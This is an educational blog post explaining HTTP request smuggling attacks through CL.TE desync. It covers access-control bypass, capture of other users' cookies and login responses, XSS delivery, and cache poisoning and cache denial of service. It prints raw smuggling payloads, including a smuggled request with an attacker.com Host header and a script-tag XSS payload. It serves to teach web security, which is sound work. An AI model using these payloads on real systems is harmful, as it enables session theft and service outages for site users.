# HTTP Request Smuggling Part 4 

> This article is for educational purposes only, and applies solely to systems you are explicitly authorized to test.

## Introduction

* * *

Once a frontend and a backend disagree about where one HTTP request ends and the next begins, an attacker can smuggle a hidden request into the connection so the backend processes it as if it were legitimate. That core desync is only the starting point — this post walks through what an attacker can actually do with it, from bypassing access controls with zero victim interaction, to hijacking another user's session by getting them to unknowingly complete a malicious request.

All examples below use a CL.TE desync (frontend trusts `Content-Length`, backend trusts `Transfer-Encoding: chunked`) purely because it's the clearest to follow. The same outcomes apply to the other discrepancy types — TE.CL, TE.TE, CL.0, and HTTP/2 downgrade smuggling (H2.TE and H2.CL) — just with different headers triggering the mismatch.

We'll follow a progression from attacks requiring no victim interaction to attacks affecting every user of the application:

| Escalation Level | Example Attack | What the Attacker Gains |
| --- | --- | --- |
| No victim | Frontend access-control bypass | Direct access to protected functionality |
| Passive victim | Cookie theft / Response Queue Poisoning | Another user's authenticated data |
| Active victim | Reflected XSS via request smuggling | Code execution in another user's browser |
| Mass impact | Web cache poisoning / Cache DoS | Impact on every user who visits the site |

## Attacks with No Victim

*The attacker sends every byte and reads the result themselves; no other user is ever involved.*

* * *

### Bypassing frontend access controls

* * *

Imagine an `/admin` endpoint that's supposed to be reachable only by internal users — but that restriction is enforced by the frontend, not the backend.

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/327b8b08-f874-4181-9008-e8c7bc57ef43.png align="center")

If the site is vulnerable to HTTP request smuggling, we can smuggle a hidden `/admin` request past the frontend's access controls and have it executed directly by the backend.

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/0f88a24a-327c-4da3-b2bb-23995cf0915b.png align="center")

**Request 1 — Smuggling the hidden request**

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/8e073938-9709-4e93-a860-33f8fee8c617.png align="center")

The attacker sends a CL.TE payload containing a hidden `GET /admin` request after the chunk terminator (`0\r\n\r\n`). The frontend forwards the entire request based on `Content-Length`, but the backend stops parsing at the chunk terminator and treats the smuggled `GET /admin` as leftover data.

The POST receives a normal `200 OK` response, while the hidden `/admin` request remains buffered on the backend connection, waiting to be processed next.

**Request 2 — Bypassing the frontend control**

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/dcdb78b7-4044-45d0-8dce-41d26de3cc3c.png align="center")

The attacker sends a second ordinary request, no victim is involved.

*   It passes through the frontend normally; there's nothing suspicious about it, so the frontend never inspects or blocks it.
    
*   At the backend, the buffered leftover from Request 1 is still queued at the front of the connection. The backend prepends the smuggled `GET /admin` request to this new request, effectively processing `/admin`.
    

Because the backend — not the frontend — is the one enforcing routing to `/admin`, and the frontend never saw `/admin` as a distinct request to filter, the frontend access control is bypassed entirely. The `/admin` response comes back to the attacker on their own Request 2, so no victim interaction is ever required.

### Revealing frontend header rewriting

* * *

Some frontends don't just forward requests — they rewrite them, appending a header the backend relies on for its access decision (a common example is `X-Forwarded-For` or `Client-IP`, set to the real client's address before forwarding).

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/1863c7a8-080b-40a6-b2ae-820715d452ef.png align="center")

Request smuggling can be used to reveal exactly what the frontend is rewriting. If you can get the smuggled request reflected somewhere publicly visible — for example, stored and displayed as a comment on a web page — you can read back the raw request as the backend actually received it. This exposes any headers the frontend added, modified, or stripped, giving you a precise picture of its rewriting logic.

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/9a91f23c-2661-496c-b6f6-7ab6998cd22c.png align="center")

**Request 1 — Smuggling a partial comment submission**

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/a3a73479-3979-4d73-aa0f-70851a9f81ac.png align="center")

The attacker sends a CL.TE payload containing the start of a second, incomplete comment submission (`POST ... User=User3&Comment=`). The frontend forwards the entire request and appends its usual headers (such as `X-Real-IP`), but the backend stops parsing at `0\r\n\r\n` and leaves the incomplete comment buffered on the connection.

The open `Comment=` field remains waiting for additional data, which will be supplied by the next request that arrives on that connection.

**Request 2 — completing the smuggled comment with hidden headers**

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/2bf38235-a949-4a09-be6b-34cc731b71ef.png align="center")

A second request arrives and is forwarded normally. Because the backend is still holding the buffered `Comment=` field from Request 1, the frontend-added headers (such as `X-Real-IP`) are absorbed into the comment instead of being treated as part of a new request.

When the comment is later displayed, it reveals the raw request as the backend received it, including any headers the frontend injected, modified, or stripped.

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/b8d40f1c-6ec7-47ed-ab93-33268c9f140d.png align="center")

## Attacks with a Passive Victim

*A victim is required, but only as a source of data. The attacker never sends them a payload or targets their browser directly; the victim simply makes a normal request that becomes part of the attack.*

* * *

### Stealing another user's request as stored input

* * *

Rather than completing our own smuggled request, we can leave it deliberately unfinished so the backend keeps waiting on the connection for more bytes. The next real user to hit that same backend connection has their request appended directly into ours.

The setup mirrors the header-rewriting attack above: the same partial `POST … User=User3&Comment=` smuggled fragment, left open. The difference is who supplies the bytes that complete it.

**Request 1 — Smuggling a partial comment submission**

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/f9b5874d-f2d0-42c5-bbee-a53ddc37e0de.png align="center")

The attacker sends the same partial POST as before (conflicting `Content-Length` / `Transfer-Encoding: chunked`, body ending in `0\r\n\r\n` followed by the deliberately incomplete `POST / … Comment=`).

*   The frontend forwards it by `Content-Length`; the backend stops at `0\r\n\r\n` and buffers the open-ended `Comment=` fragment, responding `200 OK` to what it thinks was a complete request.
    
*   The fragment stays buffered on the connection, with `Comment=` still open, waiting for whatever data arrives next.
    

**Request 2 — hijacking a real user's request to steal their cookie**

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/d1aaa92f-3375-4721-a79b-0eef863d2b7e.png align="center")

*   When a legitimate user's request arrives, the backend appends it to the attacker's incomplete comment instead of treating it as a separate request.
    
*   As a result, the victim's request — including their session cookie — is stored inside the comment, allowing the attacker to retrieve it later in the comment section.
    

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/4749c31f-f7da-4cb1-8692-11fd16fcd18a.png align="center")

### Response Queue Poisoning

* * *

Response Queue Poisoning (RQP) exploits desynchronization between frontend and backend to misroute responses. Instead of tricking the backend into completing an incomplete request, the attacker sends two well-formed requests that are interpreted differently, causing responses to reach the wrong clients.

**Crafting the RQP payload (CL.TE)**

```plaintext
POST / HTTP/1.1\r\n
Host: example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 42\r\n
\r\n
0\r\n
\r\n
GET / HTTP/1.1\r\n
Host: example.com\r\n
\r\n
```

> **Byte check.** The body is everything after the blank line:
> 
> ```plaintext
> 0\r\n                 →  3
> \r\n                  →  2
> GET / HTTP/1.1\r\n    → 16
> Host: example.com\r\n → 19
> \r\n                  →  2
> = 42 bytes
> ```

The critical detail is that the smuggled GET request ends with a blank line (`\r\n\r\n`), which closes its header section and makes it a fully valid, self-contained request the backend will queue and process independently.

The result: the frontend believes it sent one POST, while the backend has queued two separate requests — the POST (which ends at the chunk marker) and the complete GET. This mismatch is what creates the poisoned response queue.

**The attack flow**

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/3823665c-02e5-4969-b811-416d01899e2e.png align="center")

*   **Step 1 — attacker sends the smuggling payload.** The frontend treats it as one POST and forwards it. The backend interprets it as POST + hidden GET, queuing both: `[POST (attacker), GET (smuggled)]`
    
*   **Step 2 — a user submits login credentials.** A legitimate user sends a login POST, which arrives at the backend and joins the queue behind the smuggled GET: `[POST (attacker), GET (smuggled), POST /login (user)]`
    
*   **Step 3 — attacker sends a follow-up request.** The attacker sends another simple GET, which also joins the queue: `[POST (attacker), GET (smuggled), POST /login (user), GET (attacker)]`
    

**The response mismatch: four responses, three requests sent**

The backend processes all four requests in order and generates four responses:

*   `POST /` (attacker's main POST) → `200 OK`
    
*   `GET /` (smuggled GET) → `200 OK`
    
*   `POST /login` (user's login) → `302 Found` (with `Set-Cookie` / session token)
    
*   `GET /` (attacker's follow-up) → `200 OK`
    

However, the frontend believes it only sent three requests: the attacker's POST, the user's `POST /login`, and the attacker's GET.

When the four responses arrive from the backend, the frontend routes them based on its own incorrect count:

*   Response 1 → attacker (the POST response) ✓
    
*   Response 2 → user (should be the login response, but it's actually the smuggled GET's response)
    
*   Response 3 → attacker (should be the attacker's GET response, but it's actually the **user's login response**)
    
*   Response 4 → lost or delayed
    

The frontend and backend disagree on request boundaries: the frontend sees three requests while the backend processes four. Because it sent fewer requests than the backend processed, the frontend misroutes the responses — handing the attacker the victim's login response. In this example, this captures the user's session token without the attacker ever touching the login endpoint directly.

## Attacks with an active victim

*Now the victim is the target, not just the source: the attacker's response is delivered into the victim's browser and executes under the site's own origin.*

* * *

### Escalating reflected XSS into a stored-like vulnerability

* * *

HTTP Request Smuggling can dramatically increase the impact of a reflected XSS vulnerability. Normally, reflected XSS requires the attacker to persuade a victim to visit a specially crafted URL containing the payload. If the victim never clicks the link, the attack never executes.

For example, imagine the application reflects the search term without proper escaping:

```plaintext
GET /search?q=<script>alert(1)</script> HTTP/1.1
Host: example.com
```

When processed, the payload is echoed back into the response and executed by the browser. The attacker must therefore convince each victim to visit a malicious URL, making the attack relatively unreliable.

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/5139c360-3388-482d-bb21-451950bba357.png align="center")

If the same application is also vulnerable to HTTP Request Smuggling, the attacker can deliver that exploit without requiring any user interaction.

**Crafting the payload**

The attacker embeds the reflected-XSS request inside a CL.TE desynchronization payload:

```plaintext
POST / HTTP/1.1\r\n
Host: example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 66\r\n
\r\n
0\r\n
\r\n
GET /search?q=<script>alert(1)</script> HTTP/1.1\r\n
X-Ignore: x
```

> **Byte check.** The body is everything after the blank line:
> 
> ```plaintext
> 0\r\n                       →  3
> \r\n                        →  2
> GET /search?q=<script>alert(1)</script> HTTP/1.1\r\n → 50
> X-Ignore: x                → 11
> = 66 bytes
> ```

**Request 1 — Smuggling the hidden request**

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/689a3936-6dfe-48e4-b842-250a45bdf434.png align="center")

The frontend trusts `Content-Length` and forwards the entire request to the backend. The backend, however, trusts `Transfer-Encoding: chunked` and stops parsing at the terminating `0\r\n\r\n`, treating the original request as complete. It returns a normal `200 OK` to the attacker while leaving the embedded `/search` request buffered on the reused backend connection — its header block still open on the dangling `X-Ignore` header.

**Request 2 — Executing JavaScript in the victim's browser**

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/116f5882-4e5e-4ff6-992a-fbe81fdb6835.png align="center")

When another user later sends a legitimate request, its request line is absorbed by the dangling `X-Ignore` header and the backend processes the buffered request:

```plaintext
GET /search?q=<script>alert(1)</script> HTTP/1.1
Host: example.com
```

The victim receives a page containing the reflected XSS payload even though they never clicked the malicious URL.

The attack changes the delivery mechanism entirely. Instead of relying on social engineering, the attacker abuses HRS to have the vulnerable response served automatically to unrelated users.

| Type | How it works | User interaction |
| --- | --- | --- |
| Reflected XSS | Attacker sends a malicious URL | *Malicious-link click* Required |
| DOM XSS | Payload supplied through client-side data | *Malicious-link click* Required |
| XSS via Request Smuggling | Payload delivered through a poisoned request queue | ***No*** *malicious-link click Required* |

In other words, Request Smuggling does not create a new XSS vulnerability — it amplifies an existing one, making the attack behave similarly to stored XSS and significantly increasing its reliability and impact.

## Attacks with Mass Impact

*Normal browsing triggers the poisoned resource*

* * *

### Web cache poisoning

* * *

#### The attack concept

Response Queue Poisoning misroutes one response to whoever holds the connection next. Point that same off-by-one at a caching frontend and the misrouted response is no longer transient — it gets stored. Every user who later requests the poisoned URL is served the attacker's response straight from cache, with no smuggling on their end and nothing unusual to do. One request poisons the entry; the cache handles distribution.

The technique needs three things:

*   A request-smuggling desync (CL.TE below);
    
*   A way to make the backend emit an attacker-controlled response, most commonly an open redirect driven by the `Host` header, so a request to an internal endpoint returns a 3xx pointing at the attacker's origin.
    
*   A cacheable resource that ordinary users request — a static asset like `/resources/js/tracking.js` is ideal.
    

Static assets are attractive targets because they are requested by many users, are frequently cached, and are often shared across large portions of the site. Poisoning a single asset can therefore affect every page that references it.

> Note: The visitor never requests `tracking.js` directly. Their browser requests it automatically while rendering the page, which is why poisoning a widely used static asset can affect large numbers of users with a single cache entry. For instance:

> ```html
> <!DOCTYPE html>
> <html lang="en">
> <head>
>     <meta charset="utf-8">
>     <title>Example Application</title>
> </head>
> <body>
> 
>     <h1>HomePage</h1>
> 
>     <script src="/resources/js/tracking.js"></script>
> 
> </body>
> </html>
> ```

#### Crafting the payload (CL.TE)

```text
POST / HTTP/1.1\r\n
Host: example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 61\r\n
\r\n
0\r\n
\r\n
GET /post/next?postId=3 HTTP/1.1\r\n
Host: attacker.com\r\n
\r\n
```

> Byte count:
> 
> ```text
> 0\r\n                                →  3
> \r\n                                 →  2
> GET /post/next?postId=3 HTTP/1.1\r\n → 34
> Host: attacker.com\r\n               → 20
> \r\n                                 →  2
> = 61 bytes
> ```

`/post/next?postId=3` is assumed to issue a redirect built from the `Host` header — the open redirect the poison relies on.

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/d0851788-144a-4fea-8f55-ca27f4fbb03f.png align="center")

**Request 1 — Poisoning the queue**

The attacker sends the CL.TE payload. The backend processes the POST normally but leaves the smuggled `GET /post/next?postId=3` queued on the connection, ready to return a `302` redirect to [`attacker.com`](http://attacker.com).

**Request 2 — Caching the poisoned response**

The attacker requests `/resources/js/tracking.js`. The backend answers the queued smuggled request first, and the frontend mistakenly caches the resulting `302` redirect under `/resources/js/tracking.js` instead of the real script.

**Victims**

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/d1d70f5b-fb1e-4ea7-ba87-2eaaf4560539.png align="center")

From here, every visitor who loads a page that pulls `/resources/js/tracking.js` gets the cached `302` and is redirected to [`attacker.com`](http://attacker.com), where the attacker can serve arbitrary content (e.g: malicious javascript).

Unlike a single-victim desync, one poison request affects every user who requests the resource until the cache entry expires. The result is effectively stored XSS: attacker-controlled content is served to ordinary users automatically, except the payload lives in the cache rather than the application's data store.

### Denial of service

* * *

This attack is simply web cache poisoning with a cacheable error instead of a malicious redirect. The frontend caches the error response under a legitimate resource, causing every user who requests that resource to receive the cached failure until the entry expires.

**Crafting the payload (CL.TE)**

```text
POST / HTTP/1.1\r\n
Host: example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 53\r\n
\r\n
0\r\n
\r\n
GET /nonexistent HTTP/1.1\r\n
Host: example.com\r\n
\r\n
```

The smuggled `GET /nonexistent` resolves to nothing, so the backend answers `404 Not Found` .

> Byte count:
> 
> ```text
> 0\r\n                          →  3
> \r\n                           →  2
> GET /nonexistent HTTP/1.1\r\n  → 27
> Host: example.com\r\n          → 19
> \r\n                           →  2
> = 53 bytes
> ```

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/a781f62e-2eb7-400e-b9e7-038cb42609d8.png align="center")

**Request 1 — Poisoning the queue with an error**

The attacker sends the CL.TE payload. The backend processes the POST normally but leaves the smuggled `GET /nonexistent` queued on the connection, ready to return a `404 Not Found`.

**Request 2 — Caching the error against a live asset**

The attacker requests `/resources/js/app.js`. Instead of returning the script, the backend answers the queued `GET /nonexistent` first. The frontend misattributes the `404` to `/resources/js/app.js` and caches it under that URL.

**Victims**

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/7a978b3a-0a59-4cce-a59c-12cb89adf61a.png align="center")

From here, every visitor who loads a page that pulls `/resources/js/app.js` is served the cached `404`. The script never loads, and every page that depends on it breaks — for all users, until the entry expires.

If `404 Not Found` isn't cached, the same technique works with any cacheable error the backend can be induced to return, such as `414`, `405`, `410`, or `501`, as well as CDN-specific behaviors exploited by CPDoS. The impact depends on the target: poison a shared script or API response and every dependent page breaks.

Caching isn't required, either. A persistent desync can continuously misroute responses on reused backend connections, causing users to receive incorrect responses and degrading service even without a cache.

As with the other attacks, the same principle applies across all desync variants; only the trigger differs.

## Summary

* * *

Across this series we've gone from why frontends and backends disagree on request boundaries, through the six variants that create those disagreements, to what an attacker can actually do with them: bypassing frontend access controls, revealing hidden request rewriting, stealing another user's session, poisoning the response queue to capture sensitive responses, turning a reflected XSS into something that behaves like stored XSS, poisoning a shared cache to serve attacker-controlled content to every visitor, and taking resources offline by caching errors against them.

These examples are only a sample of what's possible. Throughout this article we combined request smuggling with a handful of familiar flaws—XSS, Host header injection, open redirects, and cache behavior—but the same desynchronization primitive can amplify many other vulnerabilities. Any functionality that depends on request boundaries, routing, authentication, caching, or trust between frontend and backend components can become a target.

The common thread is always the same: a disagreement about where one request ends and the next begins. Once an attacker gains control over that boundary, they gain influence over traffic that was never meant for them. Everything else—the stolen session, the poisoned cache, the XSS delivery mechanism, the access-control bypass—is simply a consequence of how that primitive interacts with the rest of the application.
